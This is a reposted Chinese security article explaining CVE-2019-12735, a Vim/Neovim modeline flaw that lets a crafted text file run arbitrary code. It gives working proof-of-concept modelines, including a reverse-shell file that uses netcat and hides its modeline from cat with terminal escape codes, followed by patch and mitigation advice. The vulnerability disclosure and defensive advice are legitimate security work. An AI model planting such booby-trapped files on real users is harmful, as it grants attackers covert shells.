CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

栏目: 编程工具 · 发布时间: 6年前

内容简介:研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。PoC创建PoC的步骤:

研究人员发现Vim 8.1.1365之前版本和Neovim 0.3.6都存在任意代码执行漏洞。研究人员分析发现通过打开伪造的文本文件通过modelines功能来执行任意代码。

PoC

创建PoC的步骤:

1、创建poc.txt:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保modeline选项没有被禁用(:set modeline)

3、在vim中打开文件

$ vim poc.txt

4、系统就会自行uname -a.

PoC2 (reverse shell)

本PoC给出了当用户打开文件时启动逆向 shell 的真实攻击方法。为了隐藏攻击活动,该文件打开后需要马上重新。当文件内容用cat显示时,PoC使用了terminal escape序列来隐藏modeline。

注:cat -v会显示文件真实内容。

shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (左侧为受害者,右侧为攻击者):

CVE-2019-12735:Linux Vim/Neovim编辑器任意代码执行漏洞

详情

Modeline特征允许在文件的开始或结束位置指定自定义选项。该特征默认是启动的,并应用于所有的文件类型,包括plain.txt。典型的modeline如下:

/* vim: set textwidth=80 tabstop=8: */

出于安全考虑,只有一小部分选项允许储蓄在modeline中,如果选项值中含有表达式,就会在沙箱中执行。

沙箱的意思是防止副作用:

'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline'和'foldtext'选项都可能会在沙箱中进行评估。这可以给从modeline下设置的选项确保安全性。

但:source!命令可以用来绕过沙箱。该命令会从给定的文件中读取和执行命令,就像输入的一样。

:so[urce]! {file}       Read Vim commands from {file}. 这是正常模式下执行的命令,就好像输入的一样。这样,用户就可以构建一个运行在沙箱以外的modeline:

# vim: set foldexpr=execute('\:source! some_file'):

对Neovim来说,还需要一个步骤来将execute()加入黑名单:

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                该函数并不在沙箱|sandbox|中

也可以使用assert_fails() ,利用{cmd}参数:

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

下面的modeline使用fold表达式来运行source! %来执行当前文件,反过来作为shell命令执行uname -a || "(garbage)":

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

另外,Neovim中的函数nvim_input()也可以用同样的方法进行攻击,比如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

modeline相关的漏洞还有CVE-2002-1377, CVE-2016-1248,目前都已修复。

补丁

Vim patch 8.1.1365

Neovim patch (released in v0.3.6)

除了补丁以外,研究人员建议在vimrc 中禁用modelines(方法为:set nomodeline)或禁用modelineexpr来禁止modeline中的表达式。

打开vim输入:set modeline?检查modelines是否启用。如果vim返回nomodeline,就说明不存在漏洞。如果有漏洞,或想要确保该问题的安全性,可以在vimrc中加入以下代码:

set modelines=0
set nomodeline

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

一目了然

一目了然

Robert Hoekman, Jr. / 段江玲 / 机械工业出版社华章公司 / 2012-3-19 / 59.00元

可用性或易用性是软件或Web设计师的重要设计目标之一。本书深入阐述了如何设计出简单易用的基于Web的软件,以帮助读者理解、掌握显性设计的精髓。作者从软件开发初期谈起,一直到软件设计后期,分析诸多案例并论证了自己的见解或设计原则。本书在第1版的基础上进行了重大改进,尤其是在设计思想上,作者在本书中谈到“以用户为中心的设计”、“以任务为中心的设计”以及“以情景为中心的设计”的理念。这种设计理念也将更直......一起来看看 《一目了然》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具